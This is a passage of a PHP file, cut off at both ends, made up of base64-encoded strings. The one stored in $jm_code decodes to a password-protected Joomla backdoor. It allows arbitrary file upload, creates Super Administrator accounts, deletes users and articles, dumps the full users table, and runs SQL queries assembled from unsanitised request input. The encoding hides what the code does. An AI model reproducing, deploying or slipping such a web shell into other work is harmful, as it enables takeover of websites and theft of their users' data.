JlZj0iJy4kYmFzZV9uYW1lLiciIHRhcmdldD0iX2JsYW5rIj4nLiRiYXNlX25hbWUuJzwvYT4nOw0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X2FwaV92ZXJzaW9uJ10pKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihhcnJheSgnYXBpX3ZlcnNpb24nID0+IG51bWJlcl9mb3JtYXQoQVBJX1ZFUlNJT04sIDIpKSk7DQp9DQo/Pg=='; 
 
 
 
$jm_code = 'PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicuYWRkc2xhc2hlcygkYXJyYXkpLiciJzsNCiAgICBpZiAoaXNfbnVtZXJpYygkYXJyYXkpKSByZXR1cm4gJGFycmF5Ow0KICAgIGlmICgkYXJyYXkgPT09IG51bGwpIHJldHVybiAnbnVsbCc7DQogICAgaWYgKCRhcnJheSA9PT0gdHJ1ZSkgcmV0dXJuICd0cnVlJzsNCiAgICBpZiAoJGFycmF5ID09PSBmYWxzZSkgcmV0dXJuICdmYWxzZSc7DQoNCiAgICAkYXNzb2MgPSBmYWxzZTsNCiAgICAkaSA9IDA7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgIGlmICgkayAhPT0gJGkrKyl7DQogICAgICAgICAgICAkYXNzb2MgPSB0cnVlOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgICR2ID0gYXJyYXlfdG9fanNvbigkdik7DQogICAgICAgIGlmICgkYXNzb2Mpew0KICAgICAgICAgICAgJGsgPSAnIicuYWRkc2xhc2hlcygkaykuJyInOw0KICAgICAgICAgICAgJHYgPSAkay4nOicuJHY7DQogICAgICAgIH0NCiAgICAgICAgJHJlc1tdID0gJHY7DQogICAgfQ0KICAgICRyZXMgPSBpbXBsb2RlKCcsJywgJHJlcyk7DQogICAgcmV0dXJuICgkYXNzb2MpPyAneycuJHJlcy4nfScgOiAnWycuJHJlcy4nXSc7DQp9DQoNCmZ1bmN0aW9uIGdldF9mdWxsX3BhdGgoJGxpbmspIHsNCgkkZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQoJJGxldmVsc191cCA9IHN1YnN0cl9jb3VudChKUEFUSF9TSVRFLCAnLi4nKTsNCglmb3IoJGk9MDskaTwkbGV2ZWxzX3VwOyRpKyspIHsNCgkJcHJlZ19tYXRjaCgnLyhcL1teXC9dKykkLycsICRkaXIsICRtYXRjaGVzKTsNCgkJJGRpciA9IHByZWdfcmVwbGFjZSgnL1wvW15cL10rJC8nLCAnJywgJGRpcik7DQoJCSRsaW5rID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMV0sICcnLCAkbGluayk7DQoJfQ0KCQ0KCWlmKHN0cnBvcygkbGluaywgJ2h0dHAnKSAhPT0gMCkgew0KCQkkbGluayA9ICdodHRwJyAuIChlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgPyAnJyA6ICdzJykgLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJGxpbms7DQoJfQ0KCQ0KCXJldHVybiAkbGluazsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQpkZWZpbmUoJ1NIRUxMX1BBU1NXT1JEJywgJ2E2YThjYjg3N2VlMTgyMTVmMmMwZmMyYTZjN2I0ZjJhJyk7DQpkZWZpbmUoJ01BWF9VUF9MRVZFTFMnLCAxMCk7DQoNCmlmKChlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgJiYgZW1wdHkoJF9QT1NUWydwYXNzd29yZCddKSkgfHwgKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICE9IFNIRUxMX1BBU1NXT1JEKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiPlBhc3N3b3JkIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgPT0gU0hFTExfUEFTU1dPUkQpIHsNCglzZXRjb29raWUoJ3Bhc3N3b3JkJywgU0hFTExfUEFTU1dPUkQsIHRpbWUoKSArIDYwKjYwKjI0KTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7DQoJZXhpdDsNCn0NCg0KaWYoZW1wdHkoJF9DT09LSUUpIHx8ICRfQ09PS0lFWydwYXNzd29yZCddICE9IFNIRUxMX1BBU1NXT1JEKSB7DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ2YnXSkpIHsNCgkkbmV3X3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKSAuICcvJyAuICRfRklMRVNbJ2YnXVsnbmFtZSddOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRuZXdfcGF0aCkpIHsNCgkJcHJpbnQgIjxhIGhyZWY9XCJ7JF9GSUxFU1snZiddWyduYW1lJ119XCI+eyRfRklMRVNbJ2YnXVsnbmFtZSddfTwvYT4iOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgIlVwbG9hZCBmYWlsZWQhIjsNCgl9DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndWYnXSkgJiYgJF9SRVFVRVNUWyd1ZiddID09IDEpIHsNCglwcmludCAiPGZvcm0gbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwieyRfU0VSVkVSWydQSFBfU0VMRiddfVwiPjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIj48L2Zvcm0+IjsNCglleGl0Ow0KfQ0KDQpkZWZpbmUoJ19KRVhFQycsIDEpOw0KZGVmaW5lKCdEUycsIERJUkVDVE9SWV9TRVBBUkFUT1IpOw0KDQokY291bnRlciA9IDA7DQokZGlyX3VwID0gJy4nIC4gRFM7DQpkbyB7DQoJJGZpbGVfZm91bmQgPSBmYWxzZTsNCgkkZmlsZV9wYXRoID0gJGRpcl91cCAuICdhZG1pbmlzdHJhdG9yJzsNCglpZihmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KCQkkZmlsZV9mb3VuZCA9IHRydWU7DQoJfQ0KCWVsc2Ugew0KCQkkZGlyX3VwIC49ICcuLicgLiBEUzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KZGVmaW5lKCdKUEFUSF9CQVNFJywgJGRpcl91cCk7DQoJDQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZGVmaW5lcy5waHAnICk7DQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZnJhbWV3b3JrLnBocCcgKTsNCg0KLy9kZWZpbmUoJ0pQQVRIX0NPTVBPTkVOVF9BRE1JTklTVFJBVE9SJywgZGlybmFtZShfX0ZJTEVfXykgLiAiL2FkbWluaXN0cmF0b3IiKTsNCmRlZmluZSgnSlBBVEhfQ09NUE9ORU5UX0FETUlOSVNUUkFUT1InLCBKUEFUSF9CQVNFIC4gRFMgLiAnYWRtaW5pc3RyYXRvcicgLiBEUyAuICdjb21wb25lbnRzJyAuIERTIC4gJ2NvbV9jb250ZW50Jyk7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4nL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOw0KLy8kYXBwID0gSkZhY3Rvcnk6OmdldEFwcGxpY2F0aW9uKCdzaXRlJyk7DQovL3JlcXVpcmVfb25jZSBKUEFUSF9CQVNFLicvaW5jbHVkZXMvZnJhbWV3b3JrLnBocCc7DQoNCg0KLy9lY2hvIEpQQVRIX0JBU0UuICIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4gIi9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgLy9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2NvbnRlbnQvbW9kZWxzDQoNCnJlcXVpcmVfb25jZShKUEFUSF9CQVNFLkRTLidjb21wb25lbnRzJy5EUy4nY29tX2NvbnRlbnQnLkRTLidoZWxwZXJzJy5EUy4ncm91dGUucGhwJyk7CQkJCQkJIA0KCQkJCQkJIA0KJGFwcCA9IEpGYWN0b3J5OjpnZXRBcHBsaWNhdGlvbignc2l0ZScsIGFycmF5KCdzZXNzaW9uJyA9PiBmYWxzZSkpOw0KJGFwcC0+aW5pdGlhbGlzZSgpOw0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydib2R5J10pKSB7DQoNCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJJF9SRVFVRVNUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQp9DQoNCgkkbmV3X2FydGljbGUgPSBuZXcgQ29udGVudE1vZGVsQXJ0aWNsZSgpOw0KCSRkYXRlID0gZGF0ZSgkX1JFUVVFU1RbJ3B1Ymxpc2hfdXAnXSAuICcgJyAuIHJhbmQoMSwyMykuICc6JyAuIHJhbmQoMSw1OSkuICc6JyAuIHJhbmQoMSw1OSkpOw0KCSRkYXRhID0gYXJyYXkoDQoJCSdjYXRpZCcgPT4gJF9SRVFVRVNUWydjYXRpZCddLCAvL25ld3NhcnRpY2xlcw0KCQkndGl0bGUnID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkJJ2Z1bGx0ZXh0JyA9PiAkX1JFUVVFU1RbJ2JvZHknXSwNCgkJJ2ludHJvdGV4dCcgPT4gJF9SRVFVRVNUWydpbnRybyddLA0KCQknc3RhdGUnID0+ICRfUkVRVUVTVFsncHVibGlzaGVkJ10sDQogICAgICAgICdjcmVhdGVkX2J5JyA9PiAkX1JFUVVFU1RbJ2NyZWF0ZWRfYnknXSwNCiAgICAgICAgJ3B1Ymxpc2hfdXAnID0+ICRkYXRlLA0KCQknY3JlYXRlZCcgPT4gJGRhdGUsDQoJCSdhbGlhcycgPT4gJF9SRVFVRVNUWydhbGlhcyddLA0KCQknbGFuZ3VhZ2UnID0+ICRfUkVRVUVTVFsnbGFuZyddIC8vRk9STUFUIEVYQU1QTEU6IGVuLUdCDQoJKTsNCglpZighZW1wdHkoJF9SRVFVRVNUWydpZCddKSkgew0KCQkkZGF0YVsnaWQnXSA9ICRfUkVRVUVTVFsnaWQnXTsNCgl9DQoJJHRhYmxlID0gSlRhYmxlOjpnZXRJbnN0YW5jZSgnY29udGVudCcsICdKVGFibGUnLCBhcnJheSgpKTsNCgkvLyBCaW5kIGRhdGENCglpZiAoISR0YWJsZS0+YmluZCgkZGF0YSkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJDQoJLy8gU3RvcmUgdGhlIGRhdGEuDQoJaWYgKCEkdGFibGUtPnN0b3JlKCkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJfQ0KCQ0KCXByaW50IGpzb25fZW5jb2RlKGFycmF5KCJhcnRpY2xlX2lkIiA9PiAkdGFibGUtPmlkKSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKSkgew0KCSRyb3cgPSBKVGFibGU6OmdldEluc3RhbmNlKCdjb250ZW50JywgJ0pUYWJsZScpOw0KCSRyb3ctPmRlbGV0ZSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKTsNCn0NCg0KJGRiID0gSkZhY3Rvcnk6OmdldERCTygpOyAvLyBnZXQgZGF0YWJhc2Ugb2JqZWN0DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2FydGljbGVfaWQnXSkpIHsNCgkkYXJ0aWNsZV9pZCA9ICRfUkVRVUVTVFsnYXJ0aWNsZV9pZCddOw0KCSRzcWwgPSAiU0VMRUNUICogRlJPTSAjX19jb250ZW50IFdIRVJFIGlkPSciIC4gJF9SRVFVRVNUWydhcnRpY2xlX2lkJ10uIiciOyAvLyBwcmVwYXJlIHF1ZXJ5DQoNCgkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCSRhcnRpY2xlID0gJGRiLT5sb2FkT2JqZWN0KCk7IC8vIGV4ZWN1dGUgcXVlcnksIHJldHVybiByZXN1bHQgbGlzdA0KfQ0KDQppZighZW1wdHkoJGFydGljbGUpKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYXJ0aWNsZSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddKSkgew0KCSR1c2VyID0gSkZhY3Rvcnk6OmdldFVzZXIoJF9SRVFVRVNUWyd1c2VybmFtZTJkZWxldGUnXSk7DQoJaWYoJHVzZXItPmRlbGV0ZSgpKSB7DQoJCXByaW50ICJVc2VyIHskX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddfSBoYXMgYmVlbiBkZWxldGVkISI7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1c2VyX25hbWUnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd1c2VyX2VtYWlsJ10pKSB7DQoJLyoNCiANCglJIGhhbmRsZSB0aGlzIGNvZGUgYXMgaWYgaXQgaXMgYSBzbmlwcGV0IG9mIGEgbWV0aG9kIG9yIGZ1bmN0aW9uISENCgkgDQoJRmlyc3Qgc2V0IHVwIHNvbWUgdmFyaWFibGVzL29iamVjdHMNCgkqLw0KCS8vIGdldCB0aGUgQUNMDQoJJGFjbCA9JiBKRmFjdG9yeTo6Z2V0QUNMKCk7DQoJIA0KCS8qIGdldCB0aGUgY29tX3VzZXIgcGFyYW1zICovDQoJIA0KCWppbXBvcnQoJ2pvb21sYS5hcHBsaWNhdGlvbi5jb21wb25lbnQuaGVscGVyJyk7IC8vIGluY2x1ZGUgbGlicmFyaWVzL2FwcGxpY2F0aW9uL2NvbXBvbmVudC9oZWxwZXIucGhwDQoJJHVzZXJzUGFyYW1zID0gJkpDb21wb25lbnRIZWxwZXI6OmdldFBhcmFtcyggJ2NvbV91c2VycycgKTsgLy8gbG9hZCB0aGUgUGFyYW1zDQoJIA0KCS8vICJnZW5lcmF0ZSIgYSBuZXcgSlVzZXIgT2JqZWN0DQoJJHVzZXIgPSBKRmFjdG9yeTo6Z2V0VXNlcigwKTsgLy8gaXQncyBpbXBvcnRhbnQgdG8gc2V0IHRoZSAiMCIgb3RoZXJ3aXNlIHlvdXIgYWRtaW4gdXNlciBpbmZvcm1hdGlvbiB3aWxsIGJlIGxvYWRlZA0KCSANCgkkZGF0YSA9IGFycmF5KCk7IC8vIGFycmF5IGZvciBhbGwgdXNlciBzZXR0aW5ncw0KCQ0KCSR1c2VydHlwZSA9ICdTdXBlciBBZG1pbmlzdHJhdG9yJzsNCgkgDQoJLy8gc2V0IHVwIHRoZSAibWFpbiIgdXNlciBpbmZvcm1hdGlvbg0KCQ0KCSRkYXRhWyduYW1lJ10gPSAnWmhhbm8gWmhhbm8nOyAvLyBhZGQgZmlyc3QtIGFuZCBsYXN0bmFtZQ0KCSRkYXRhWyd1c2VybmFtZSddID0gJF9SRVFVRVNUWyd1c2VyX25hbWUnXTsgLy8gYWRkIHVzZXJuYW1lDQoJJGRhdGFbJ2VtYWlsJ10gPSAkX1JFUVVFU1RbJ3VzZXJfZW1haWwnXTsgLy8gYWRkIGVtYWlsDQoJJGRhdGFbJ2dpZCddID0gMjQ7ICAvLyBnZW5lcmF0ZSB0aGUgZ2lkIGZyb20gdGhlIHVzZXJ0eXBlDQoJIA0KCS8qIG5vIG5lZWQgdG8gYWRkIHRoZSB1c2VydHlwZSwgaXQgd2lsbCBiZSBnZW5lcmF0ZWQgYXV0b21hdGljYWx5IGZyb20gdGhlIGdpZCAqLw0KCSANCgkkZGF0YVsncGFzc3dvcmQnXSA9ICRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddOyAvLyBzZXQgdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3Bhc3N3b3JkMiddID0gJF9SRVFVRVNUWyd1c2VyX3Bhc3N3b3JkJ107IC8vIGNvbmZpcm0gdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3NlbmRFbWFpbCddID0gMTsgLy8gc2hvdWxkIHRoZSB1c2VyIHJlY2VpdmUgc3lzdGVtIG1haWxzPw0KCSANCgkvKiBOb3cgd2UgY2FuIGRlY2lkZSwgaWYgdGhlIHVzZXIgd2lsbCBuZWVkIGFuIGFjdGl2YXRpb24gKi8NCgkkZGF0YVsnYmxvY2snXSA9IDA7IC8vIGRvbid0IGJsb2NrIHRoZSB1c2VyDQoJIA0KCWlmICghJHVzZXItPmJpbmQoJGRhdGEpKSB7IC8vIG5vdyBiaW5kIHRoZSBkYXRhIHRvIHRoZSBKVXNlciBPYmplY3QsIGlmIGl0IG5vdCB3b3Jrcy4uLi4NCgkJSkVycm9yOjpyYWlzZVdhcm5pbmcoJycsIEpUZXh0OjpfKCAkdXNlci0+Z2V0RXJyb3IoKSkpOyAvLyAuLi5yYWlzZSBhbiBXYXJuaW5nDQoJfQ0KCSANCglpZiAoISR1c2VyLT5zYXZlKCkpIHsgLy8gaWYgdGhlIHVzZXIgaXMgTk9UIHNhdmVkLi4uDQoJCUpFcnJvcjo6cmFpc2VXYXJuaW5nKCcnLCBKVGV4dDo6XyggJHVzZXItPmdldEVycm9yKCkpKTsgLy8gLi4ucmFpc2UgYW4gV2FybmluZw0KCX0NCgkgDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlci0+dXNlcm5hbWUgLiAiIGNyZWF0ZWQhIik7IC8vIGVsc2UgcmV0dXJuIHRoZSBuZXcgSlVzZXIgb2JqZWN0DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRzJ10pKSB7DQoJJGNhdF91cmxzID0gYXJyYXkoKTsNCgkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlLCAjX19tZW51LnBhdGggQVMgbWVudV9wYXRoLCBDT1VOVCgjX19jb250ZW50LmlkKSBBUyBjb3VudF9hcnRpY2xlcyBGUk9NICNfX2NhdGVnb3JpZXMgDQoJSU5ORVIgSk9JTiAjX19jb250ZW50IE9OICNfX2NhdGVnb3JpZXMuaWQgPSAjX19jb250ZW50LmNhdGlkIA0KCUlOTkVSIEpPSU4gI19fbWVudSBPTiAjX19jYXRlZ29yaWVzLmlkID0gUkVQTEFDRSgjX19tZW51LmxpbmssICdpbmRleC5waHA/b3B0aW9uPWNvbV9jb250ZW50JnZpZXc9Y2F0ZWdvcnkmbGF5b3V0PWJsb2cmaWQ9JywgJycpDQoJR1JPVVAgQlkgI19fY2F0ZWdvcmllcy5pZCBPUkRFUiBCWSAjX19jYXRlZ29yaWVzLnRpdGxlICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCglmb3IgKCRpPTAsJGxlbj1jb3VudCgkY2F0cyk7JGk8JGxlbjskaSsrKSB7DQoJCSRjYXRzWyRpXS0+cGF0aCA9IGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJGNhdHNbJGldLT5tZW51X3BhdGgpOw0KCQl1bnNldCgkY2F0c1skaV0tPm1lbnVfcGF0aCk7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjYXRzKSkgew0KCQkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlIEZST00gI19fY2F0ZWdvcmllcyAiOw0KCQkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCQkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCgkJZm9yICgkaT0wLCRsZW49Y291bnQoJGNhdHMpOyRpPCRsZW47JGkrKykgew0KCQkJJGNhdHNbJGldLT5wYXRoID0gZ2V0X2Z1bGxfcGF0aChKVVJJOjpiYXNlKCkgLiAnaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWNhdGVnb3J5JmxheW91dD1ibG9nJmlkPScgLiAkY2F0c1skaV0tPmlkKTsNCgkJCSRjYXRzWyRpXS0+Y291bnRfYXJ0aWNsZXMgPSAnPyc7DQoJCX0NCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkY2F0cyk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF91c2VyJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgKiBGUk9NICNfX3VzZXJzICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkdXNlcnMgPSAkZGItPmxvYWRPYmplY3RMaXN0KCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlcnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXJ0aWNsZXNfbGlzdCddKSkgew0KCSRvZmZzZXQgPSAwOw0KCSRhcnRpY2xlc19udW0gPSA1MDsNCgkkYWxsX2FydGljbGVzID0gYXJyYXkoKTsNCgkNCgkkY29uZCA9ICcnOw0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NlYXJjaF9ieV90aXRsZSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAjX19jb250ZW50LnRpdGxlIExJS0UgJyV7JF9SRVFVRVNUWydzZWFyY2hfYnlfdGl0bGUnXX0lJyAiOw0KCX0NCgkNCglpZighZW1wdHkoJF9SRVFVRVNUWydzZWFyY2hfYnlfYm9keSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAoI19fY29udGVudC5mdWxsdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJyBPUiAjX19jb250ZW50LmludHJvdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJykgIjsNCgl9DQoJDQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2FsaWFzJ10pKSB7DQoJCSRjb25kIC49ICIgQU5EICNfX2NvbnRlbnQuYWxpYXMgTElLRSAnJXskX1JFUVVFU1RbJ3NlYXJjaF9ieV9hbGlhcyddfSUnICI7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjb25kKSkgew0KCQkkY29uZCA9ICcgQU5EIDI9MiAnOw0KCX0NCgkNCglkbyB7DQoJCSRzcWwgPSAiU0VMRUNUICNfX2NvbnRlbnQuaWQsICNfX2NvbnRlbnQudGl0bGUsICNfX2NvbnRlbnQuZnVsbHRleHQsICNfX2NvbnRlbnQuaW50cm90ZXh0LCAjX19jb250ZW50LmFsaWFzIEZST00gI19fY29udGVudCBXSEVSRSAxPTEgeyRjb25kfSBPUkRFUiBCWSBgdGl0bGVgIExJTUlUIHskb2Zmc2V0fSwgJGFydGljbGVzX251bSAiOyAvLyBwcmVwYXJlIHF1ZXJ5DQoJCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJCSRhcnRpY2xlcyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoJCSRhbGxfYXJ0aWNsZXMgKz0gJGFydGljbGVzOw0KCQkkb2Zmc2V0ICs9ICRhcnRpY2xlc19udW07DQoJfXdoaWxlKGNvdW50KCRhcnRpY2xlcykgPT0gJGFydGljbGVzX251bSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYWxsX2FydGljbGVzKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgY2F0aWQsIGFsaWFzLCBsYW5ndWFnZSBGUk9NICNfX2NvbnRlbnQgV0hFUkUgaWQgPSAneyRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ119JyAiOw0KCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJJGFydGljbGUgPSAkZGItPmxvYWRPYmplY3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoNCgkkc3FsID0gIlNFTEVDVCBwYXRoIEZST00gI19fbWVudSBXSEVSRSBsaW5rIExJS0UgJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1jYXRlZ29yeSYlaWQ9eyRhcnRpY2xlLT5jYXRpZH0nICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0X3BhdGggPSAkZGItPmxvYWRPYmplY3QoKTsNCglpZihpc3NldCgkY2F0X3BhdGgtPnBhdGgpKSB7DQoJCSRzbHVnID0gJF9SRVFVRVNUWydhcnRpY2xlX3NlZl91cmwnXSAuICc6JyAuICRhcnRpY2xlLT5hbGlhczsNCgkJJGNhdHNsdWcgPSAkYXJ0aWNsZS0+Y2F0aWQgLiAnOicgLiAkY2F0X3BhdGgtPnBhdGg7DQoJCSRsaW5rID0gSlJvdXRlOjpfKENvbnRlbnRIZWxwZXJSb3V0ZTo6Z2V0QXJ0aWNsZVJvdXRlKCRzbHVnLCAkY2F0c2x1ZykpOw0KCQlpZighZW1wdHkoJGFydGljbGUtPmxhbmd1YWdlKSkgew0KCQkJJGxpbmsgPSBzdHJfcmVwbGFjZSgnaW5kZXgucGhwLycsICdpbmRleC5waHAvJyAuIHN1YnN0cigkYXJ0aWNsZS0+bGFuZ3VhZ2UsIDAsIDIpIC4gJy8nLCAkbGluayk7DQoJCX0NCgkJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfZnVsbF9wYXRoKCRsaW5rKSk7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1hcnRpY2xlJmlkPScgLiAkX1JFUVVFU1RbJ2FydGljbGVfc2VmX3VybCddKSk7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfbGFuZ3VhZ2VzJ10pKSB7DQoJJGxhbmd1YWdlcyA9IEpMYW5ndWFnZUhlbHBlcjo6Z2V0TGFuZ3VhZ2VzKCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbGFuZ3VhZ2VzKTsvL2xhbmdfY29kZSBJTkRFWCBJUyBVU0VEIEZPUiBJTlNFUlRJTkcgSU5UTyBDT05URU5UDQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9qbV92ZXJzaW9uJ10pKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihKVkVSU0lPTik7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VwbG9hZF9maWxlJ10pKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Im15X2ZpbGUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snbXlfZmlsZSddKSkgew0KCSRiYXNl